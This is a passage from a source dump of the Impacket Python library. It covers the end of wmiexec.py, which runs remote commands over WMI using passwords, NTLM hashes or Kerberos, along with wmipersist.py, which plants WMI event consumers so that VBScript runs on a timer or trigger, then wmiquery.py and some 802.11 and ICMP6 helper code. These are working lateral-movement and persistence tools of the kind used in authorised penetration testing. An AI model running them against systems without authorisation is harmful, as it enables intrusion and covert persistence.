then execute wmiexec.py '\n                              'again with -codec and the corresponding codec')\n                self.__outputBuffer += data.decode(CODEC, errors='replace')\n\n        if self.__noOutput is True:\n            self.__outputBuffer = ''\n            return\n\n        while True:\n            try:\n                self.__transferClient.getFile(self.__share, self.__output, output_callback)\n                break\n            except Exception as e:\n                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:\n                    # Output not finished, let's wait\n                    time.sleep(1)\n                    pass\n                elif str(e).find('Broken') >= 0:\n                    # The SMB Connection might have timed out, let's try reconnecting\n                    logging.debug('Connection broken, trying to recreate it')\n                    self.__transferClient.reconnect()\n                    return self.get_output()\n        self.__transferClient.deleteFile(self.__share, self.__output)\n\n    def execute_remote(self, data, shell_type='cmd'):\n        if shell_type == 'powershell':\n            data = '$ProgressPreference=\"SilentlyContinue\";' + data\n            data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()\n\n        command = self.__shell + data\n\n        if self.__noOutput is False:\n            command += ' 1> ' + '\\\\\\\\127.0.0.1\\\\%s' % self.__share + self.__output + ' 2>&1'\n        response = self.__win32Process.Create(command, self.__pwd, None)\n        if self.__noOutput is False:\n            self.get_output()\n        else:\n            response.printInformation() # print ProcessId and ReturnValue\n\n    def send_data(self, data):\n        self.execute_remote(data, self.__shell_type)\n        print(self.__outputBuffer)\n        self.__outputBuffer = ''\n\n\nclass AuthFileSyntaxError(Exception):\n    '''raised by load_smbclient_auth_file if it encounters a syntax error\n    while loading the smbclient-style authentication file.'''\n\n    def __init__(self, path, lineno, reason):\n        self.path = path\n        self.lineno = lineno\n        self.reason = reason\n\n    def __str__(self):\n        return 'Syntax error in auth file %s line %d: %s' % (\n            self.path, self.lineno, self.reason)\n\n\ndef load_smbclient_auth_file(path):\n    '''Load credentials from an smbclient-style authentication file (used by\n    smbclient, mount.cifs and others).  returns (domain, username, password)\n    or raises AuthFileSyntaxError or any I/O exceptions.'''\n\n    lineno = 0\n    domain = None\n    username = None\n    password = None\n    for line in open(path):\n        lineno += 1\n\n        line = line.strip()\n\n        if line.startswith('#') or line == '':\n            continue\n\n        parts = line.split('=', 1)\n        if len(parts) != 2:\n            raise AuthFileSyntaxError(path, lineno, 'No \"=\" present in line')\n\n        (k, v) = (parts[0].strip(), parts[1].strip())\n\n        if k == 'username':\n            username = v\n        elif k == 'password':\n            password = v\n        elif k == 'domain':\n            domain = v\n        else:\n            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))\n\n    return (domain, username, password)\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Executes a semi-interactive shell using Windows \"\n                                                                \"Management Instrumentation.\")\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from '\n                                                                         '(default ADMIN$)')\n    parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output '\n                                                                              '(no SMB connection created)')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-silentcommand', action='store_true', default=False,\n                        help='does not execute cmd.exe to run given command (no output)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\\'s output (default '\n                                                       '\"%s\"). If errors are detected, run chcp.com at the target, '\n                                                       'map the result with '\n                                                       'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '\n                                                       'again with -codec and the corresponding codec ' % CODEC)\n    parser.add_argument('-shell-type', action='store', default='cmd', choices=['cmd', 'powershell'],\n                        help='choose a command processor for the semi-interactive shell')\n    parser.add_argument('-com-version', action='store', metavar=\"MAJOR_VERSION:MINOR_VERSION\",\n                        help='DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')\n    parser.add_argument('command', nargs='*', default=' ', help='command to execute at the target. If empty it will '\n                                                                'launch a semi-interactive shell')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\",\n                       help='Use Kerberos authentication. Grabs credentials from ccache file '\n                            '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                            'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                          '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\", help='IP Address of the domain controller. If '\n                                                                            'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-A', action=\"store\", metavar=\"authfile\", help=\"smbclient/mount.cifs-style authentication file. \"\n                                                                      \"See smbclient man page's -A option.\")\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.codec is not None:\n        CODEC = options.codec\n    else:\n        if CODEC is None:\n            CODEC = 'utf-8'\n\n    if ' '.join(options.command) == ' ' and options.nooutput is True:\n        logging.error(\"-nooutput switch and interactive shell not supported\")\n        sys.exit(1)\n    if options.silentcommand and options.command == ' ':\n        logging.error(\"-silentcommand switch and interactive shell not supported\")\n        sys.exit(1)\n\n    if options.com_version is not None:\n        try:\n            major_version, minor_version = options.com_version.split('.')\n            COMVERSION.set_default_version(int(major_version), int(minor_version))\n        except Exception:\n            logging.error(\"Wrong COMVERSION format, use dot separated integers e.g. \\\"5.7\\\"\")\n            sys.exit(1)\n\n    domain, username, password, address = parse_target(options.target)\n\n    try:\n        if options.A is not None:\n            (domain, username, password) = load_smbclient_auth_file(options.A)\n            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (\n            repr(domain), repr(username), repr(password)))\n\n        if options.target_ip is None:\n            options.target_ip = address\n\n        if domain is None:\n            domain = ''\n\n        if options.keytab is not None:\n            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)\n            options.k = True\n\n        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n            from getpass import getpass\n\n            password = getpass(\"Password:\")\n\n        if options.aesKey is not None:\n            options.k = True\n\n        executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,\n                           options.share, options.nooutput, options.k, options.dc_ip, options.target_ip, options.shell_type)\n        executer.run(address, options.silentcommand)\n    except KeyboardInterrupt as e:\n        logging.error(str(e))\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n\n            traceback.print_exc()\n        logging.error(str(e))\n        sys.exit(1)\n\n    sys.exit(0)\n"
  },
  {
    "path": "examples/wmipersist.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script creates/removes a WMI Event Consumer/Filter and link\n#   between both to execute Visual Basic based on the WQL filter\n#   or timer specified.\n#\n#   Example:\n#\n#   write a file toexec.vbs the following:\n#\t    Dim objFS, objFile\n#\t    Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n#\t    Set objFile = objFS.OpenTextFile(\"C:\\ASEC.log\", 8, true)\n#\t    objFile.WriteLine \"Hey There!\"\n#\t    objFile.Close\n#\n#   then execute this script this way, VBS will be triggered once\n#   somebody opens calc.exe:\n#\n#       wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC\n#           -vbs toexec.vbs\n#           -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance\n#                    ISA \"Win32_Process\" AND TargetInstance.Name = \"calc.exe\"'\n#\n#   or, if you just want to execute the VBS every XXX milliseconds:\n#\n#       wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC\n#           -vbs toexec.vbs -timer XXX\n#\n#   to remove the event:\n#\t    wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC\n#\n#   if you don't specify the password, it will be asked by the script.\n#   domain is optional.\n#\n# Author:\n#   beto (@agsolino)\n#\n# Reference for:\n#  DCOM/WMI\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport argparse\nimport logging\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION\nfrom impacket.dcerpc.v5.dcom import wmi\nfrom impacket.dcerpc.v5.dtypes import NULL\n\n\nclass WMIPERSISTENCE:\n    def __init__(self, username='', password='', domain='', options=None):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__options = options\n        self.__lmhash = ''\n        self.__nthash = ''\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    @staticmethod\n    def checkError(banner, resp):\n        call_status = resp.GetCallStatus(0) & 0xffffffff  # interpret as unsigned\n        if call_status != 0:\n            from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS\n            try:\n                error_name = WBEMSTATUS.enumItems(call_status).name\n            except ValueError:\n                error_name = 'Unknown'\n            logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status))\n        else:\n            logging.info('%s - OK' % banner)\n\n    def run(self, addr):\n        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                              options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip)\n\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)\n        iWbemLevel1Login.RemRelease()\n\n        if self.__options.action.upper() == 'REMOVE':\n            self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,\n                            iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name=\"%s\"' % self.__options.name))\n\n            self.checkError('Removing EventFilter EF_%s' % self.__options.name,\n                            iWbemServices.DeleteInstance('__EventFilter.Name=\"EF_%s\"' % self.__options.name))\n\n            self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name,\n                            iWbemServices.DeleteInstance(\n                                '__IntervalTimerInstruction.TimerId=\"TI_%s\"' % self.__options.name))\n\n            self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name,\n                            iWbemServices.DeleteInstance(\n                                r'__FilterToConsumerBinding.Consumer=\"ActiveScriptEventConsumer.Name=\\\"%s\\\"\",'\n                                r'Filter=\"__EventFilter.Name=\\\"EF_%s\\\"\"' % (\n                                self.__options.name, self.__options.name)))\n        else:\n            activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer')\n            activeScript = activeScript.SpawnInstance()\n            activeScript.Name = self.__options.name\n            activeScript.ScriptingEngine = 'VBScript'\n            activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]\n            activeScript.ScriptText = options.vbs.read()\n            self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, \n                iWbemServices.PutInstance(activeScript.marshalMe()))\n        \n            if options.filter is not None:\n                eventFilter, _ = iWbemServices.GetObject('__EventFilter')\n                eventFilter = eventFilter.SpawnInstance()\n                eventFilter.Name = 'EF_%s' % self.__options.name\n                eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]\n                eventFilter.Query = options.filter\n                eventFilter.QueryLanguage = 'WQL'\n                eventFilter.EventNamespace = r'root\\cimv2'\n                self.checkError('Adding EventFilter EF_%s' % self.__options.name,\n                    iWbemServices.PutInstance(eventFilter.marshalMe()))\n\n            else:\n                wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')\n                wmiTimer = wmiTimer.SpawnInstance()\n                wmiTimer.TimerId = 'TI_%s' % self.__options.name\n                wmiTimer.IntervalBetweenEvents = int(self.__options.timer)\n                #wmiTimer.SkipIfPassed = False\n                self.checkError('Adding IntervalTimerInstruction',\n                    iWbemServices.PutInstance(wmiTimer.marshalMe()))\n\n                eventFilter,_ = iWbemServices.GetObject('__EventFilter')\n                eventFilter =  eventFilter.SpawnInstance()\n                eventFilter.Name = 'EF_%s' % self.__options.name\n                eventFilter.CreatorSID =  [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]\n                eventFilter.Query = 'select * from __TimerEvent where TimerID = \"TI_%s\" ' % self.__options.name\n                eventFilter.QueryLanguage = 'WQL'\n                eventFilter.EventNamespace = r'root\\subscription'\n                self.checkError('Adding EventFilter EF_%s' % self.__options.name,\n                    iWbemServices.PutInstance(eventFilter.marshalMe()))\n\n            filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding')\n            filterBinding = filterBinding.SpawnInstance()\n            filterBinding.Filter = '__EventFilter.Name=\"EF_%s\"' % self.__options.name\n            filterBinding.Consumer = 'ActiveScriptEventConsumer.Name=\"%s\"' % self.__options.name\n            filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]\n\n            self.checkError('Adding FilterToConsumerBinding',\n                iWbemServices.PutInstance(filterBinding.marshalMe()))\n\n        dcom.disconnect()\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Creates/Removes a WMI Event Consumer/Filter and \"\n                               \"link between both to execute Visual Basic based on the WQL filter or timer specified.\")\n\n    parser.add_argument('target', action='store', help='[domain/][username[:password]@]<address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-com-version', action='store', metavar = \"MAJOR_VERSION:MINOR_VERSION\", help='DCOM version, '\n                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n\n    # A start command\n    install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter')\n    install_parser.add_argument('-name', action='store', required=True, help='event name')\n    install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the '\n                                                                                         'script you want to run')\n    install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger'\n                                                                                ' the script')\n    install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the'\n                                                                               ' script will be triggered')\n\n    # A stop command\n    remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter')\n    remove_parser.add_argument('-name', action='store', required=True, help='event name')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n \n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.com_version is not None:\n        try:\n            major_version, minor_version = options.com_version.split('.')\n            COMVERSION.set_default_version(int(major_version), int(minor_version))\n        except Exception:\n            logging.error(\"Wrong COMVERSION format, use dot separated integers e.g. \\\"5.7\\\"\")\n            sys.exit(1)\n\n    if options.action.upper() == 'INSTALL':\n        if (options.filter is None and options.timer is None) or  (options.filter is not None and options.timer is not None):\n            logging.error(\"You have to either specify -filter or -timer (and not both)\")\n            sys.exit(1)\n\n    domain, username, password, address = parse_target(options.target)\n\n    try:\n        if domain is None:\n            domain = ''\n\n        if options.aesKey is not None:\n            options.k = True\n\n        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n            from getpass import getpass\n            password = getpass(\"Password:\")\n\n        executer = WMIPERSISTENCE(username, password, domain, options)\n        executer.run(address)\n    except (Exception, KeyboardInterrupt) as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(e)\n    sys.exit(0)\n"
  },
  {
    "path": "examples/wmiquery.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-WMI] example. It allows to issue WQL queries and\n#   get description of the objects.\n#\n#       e.g.: select name from win32_account\n#       e.g.: describe win32_process\n# \n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#  DCOM\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport sys\nimport os\nimport logging\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.dcom import wmi\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY\n\nif __name__ == '__main__':\n    import cmd\n\n    class WMIQUERY(cmd.Cmd):\n        def __init__(self, iWbemServices):\n            cmd.Cmd.__init__(self)\n            self.iWbemServices = iWbemServices\n            self.prompt = 'WQL> '\n            self.intro = '[!] Press help for extra shell commands'\n\n        def do_help(self, line):\n            print(\"\"\"\n     lcd {path}                 - changes the current local directory to {path}\n     exit                       - terminates the server process (and this session)\n     describe {class}           - describes class\n     ! {cmd}                    - executes a local shell cmd\n     \"\"\") \n\n        def do_shell(self, s):\n            os.system(s)\n\n        def do_describe(self, sClass):\n            sClass = sClass.strip('\\n')\n            if sClass[-1:] == ';':\n                sClass = sClass[:-1]\n            try:\n                iObject, _ = self.iWbemServices.GetObject(sClass)\n                iObject.printInformation()\n                iObject.RemRelease()\n            except Exception as e:\n                if logging.getLogger().level == logging.DEBUG:\n                    import traceback\n                    traceback.print_exc()\n                logging.error(str(e))\n\n        def do_lcd(self, s):\n            if s == '':\n                print(os.getcwd())\n            else:\n                os.chdir(s)\n    \n        def printReply(self, iEnum):\n            printHeader = True\n            while True:\n                try:\n                    pEnum = iEnum.Next(0xffffffff,1)[0]\n                    record = pEnum.getProperties()\n                    if printHeader is True:\n                        print('|', end=' ')\n                        for col in record:\n                            print('%s |' % col, end=' ')\n                        print()\n                        printHeader = False\n                    print('|', end=' ') \n                    for key in record:\n                        if type(record[key]['value']) is list:\n                            for item in record[key]['value']:\n                                print(item, end=' ')\n                            print(' |', end=' ')\n                        else:\n                            print('%s |' % record[key]['value'], end=' ')\n                    print() \n                except Exception as e:\n                    if str(e).find('S_FALSE') < 0:\n                        if logging.getLogger().level == logging.DEBUG:\n                            import traceback\n                            traceback.print_exc()\n                        raise\n                    else:\n                        break\n            iEnum.RemRelease() \n\n        def default(self, line):\n            line = line.strip('\\n')\n            if line[-1:] == ';':\n                line = line[:-1]\n            try:\n                iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\\n'))\n                self.printReply(iEnumWbemClassObject)\n                iEnumWbemClassObject.RemRelease()\n            except Exception as e:\n                logging.error(str(e))\n         \n        def emptyline(self):\n            pass\n\n        def do_exit(self, line):\n            return True\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Executes WQL queries and gets object descriptions \"\n                                                                    \"using Windows Management Instrumentation.\")\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)')\n    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-com-version', action='store', metavar = \"MAJOR_VERSION:MINOR_VERSION\", help='DCOM version, '\n                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default',\n                       help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy '\n                            '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path \"root/MSCluster\" would require '\n                            'privacy level by default)')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n \n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.com_version is not None:\n        try:\n            major_version, minor_version = options.com_version.split('.')\n            COMVERSION.set_default_version(int(major_version), int(minor_version))\n        except Exception:\n            logging.error(\"Wrong COMVERSION format, use dot separated integers e.g. \\\"5.7\\\"\")\n            sys.exit(1)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n\n    try:\n        dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True,\n                              doKerberos=options.k, kdcHost=options.dc_ip)\n\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL)\n        if options.rpc_auth_level == 'privacy':\n            iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n        elif options.rpc_auth_level == 'integrity':\n            iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)\n\n        iWbemLevel1Login.RemRelease()\n\n        shell = WMIQUERY(iWbemServices)\n        if options.file is None:\n            shell.cmdloop()\n        else:\n            for line in options.file.readlines():\n                print(\"WQL> %s\" % line, end=' ')\n                shell.onecmd(line)\n\n        iWbemServices.RemRelease()\n        dcom.disconnect()\n    except Exception as e:\n        logging.error(str(e))\n        try:\n            dcom.disconnect()\n        except:\n            pass\n"
  },
  {
    "path": "impacket/Dot11Crypto.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   IEEE 802.11 Network packet codecs.\n#\n# Author:\n#   Gustavo Moreira\n#\n\nclass RC4():\n    def __init__(self, key):\n        bkey = bytearray(key)\n        j = 0\n        self.state = bytearray(range(256))\n        for i in range(256):\n            j = (j + self.state[i] + bkey[i % len(key)]) & 0xff\n            self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)\n\n    def encrypt(self, data):\n        i = j = 0\n        out=bytearray()\n        for char in bytearray(data):\n            i = (i+1) & 0xff\n            j = (j+self.state[i]) & 0xff\n            self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)\n            out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff])\n        \n        return bytes(out)\n    \n    def decrypt(self, data):\n        # It's symmetric\n        return self.encrypt(data)\n"
  },
  {
    "path": "impacket/Dot11KeyManager.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   IEEE 802.11 Network packet codecs.\n#\n# Author:\n#   Gustavo Moreira\n\nfrom array import array\nclass KeyManager:\n    def __init__(self):\n        self.keys = {}\n        \n    def __get_bssid_hasheable_type(self, bssid):\n        # List is an unhashable type\n        if not isinstance(bssid, (list,tuple,array)):\n            raise Exception('BSSID datatype must be a tuple, list or array')\n        return tuple(bssid) \n\n    def add_key(self, bssid, key):\n        bssid=self.__get_bssid_hasheable_type(bssid)\n        if bssid not in self.keys:\n            self.keys[bssid] = key\n            return True\n        else:\n            return False\n        \n    def replace_key(self, bssid, key):\n        bssid=self.__get_bssid_hasheable_type(bssid)\n        self.keys[bssid] = key\n        \n        return True\n        \n    def get_key(self, bssid):\n        bssid=self.__get_bssid_hasheable_type(bssid)\n        if bssid in self.keys:\n            return self.keys[bssid]\n        else:\n            return False\n        \n    def delete_key(self, bssid):\n        bssid=self.__get_bssid_hasheable_type(bssid)\n        if not isinstance(bssid, list):\n            raise Exception('BSSID datatype must be a list')\n        \n        if bssid in self.keys:\n            del self.keys[bssid] \n            return True\n        \n        return False\n"
  },
  {
    "path": "impacket/ICMP6.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport array\nimport struct\n\nfrom impacket.ImpactPacket import Header, Data, array_tobytes\nfrom impacket.IP6_Address import IP6_Address\n\n\nclass ICMP6(Header):    \n    #IP Protocol number for ICMP6\n    IP_PROTOCOL_NUMBER = 58\n    protocol = IP_PROTOCOL_NUMBER   #ImpactDecoder uses the constant \"protocol\" as the IP Protocol Number\n    \n    #Size of ICMP6 header (excluding payload)\n    HEADER_SIZE = 4\n\n    #ICMP6 Message Type numbers\n    DESTINATION_UNREACHABLE = 1\n    PACKET_TOO_BIG = 2\n    TIME_EXCEEDED = 3\n    PARAMETER_PROBLEM = 4    \n    ECHO_REQUEST = 128\n    ECHO_REPLY = 129\n    ROUTER_SOLICITATION = 133\n    ROUTER_ADVERTISEMENT = 134\n    NEIGHBOR_SOLICITATION = 135\n    NEIGHBOR_ADVERTISEMENT = 136\n    REDIRECT_MESSAGE = 137\n    NODE_INFORMATION_QUERY = 139\n    NODE_INFORMATION_REPLY = 140\n    \n    #Destination Unreachable codes\n    NO_ROUTE_TO_DESTINATION = 0\n    ADMINISTRATIVELY_PROHIBITED = 1\n    BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2\n    ADDRESS_UNREACHABLE = 3\n    PORT_UNREACHABLE = 4\n    SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5\n    REJECT_ROUTE_TO_DESTINATION = 6\n    \n    #Time Exceeded codes\n    HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0\n    FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1\n    \n    #Parameter problem codes\n    ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0\n    UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1\n    UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2\n    \n    #Node Information codes\n    NODE_INFORMATION_QUERY_IPV6 = 0\n    NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1\n    NODE_INFORMATION_QUERY_IPV4 = 2\n    NODE_INFORMATION_REPLY_SUCCESS = 0\n    NODE_INFORMATION_REPLY_REFUSED = 1\n    NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2\n    \n    #Node Information qtypes\n    NODE_INFORMATION_QTYPE_NOOP = 0\n    NODE_INFORMATION_QTYPE_UNUSED = 1\n    NODE_INFORMATION_QTYPE_NODENAME = 2\n    NODE_INFORMATION_QTYPE_NODEADDRS = 3\n    NODE_INFORMATION_QTYPE_IPv4ADDRS = 4\n    \n    #ICMP Message semantic types (error or informational)    \n    ERROR_MESSAGE = 0\n    INFORMATIONAL_MESSAGE = 1\n    \n    #ICMP message dictionary - specifying text descriptions and valid message codes\n    #Key: ICMP message number\n    #Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) )\n    #Codes 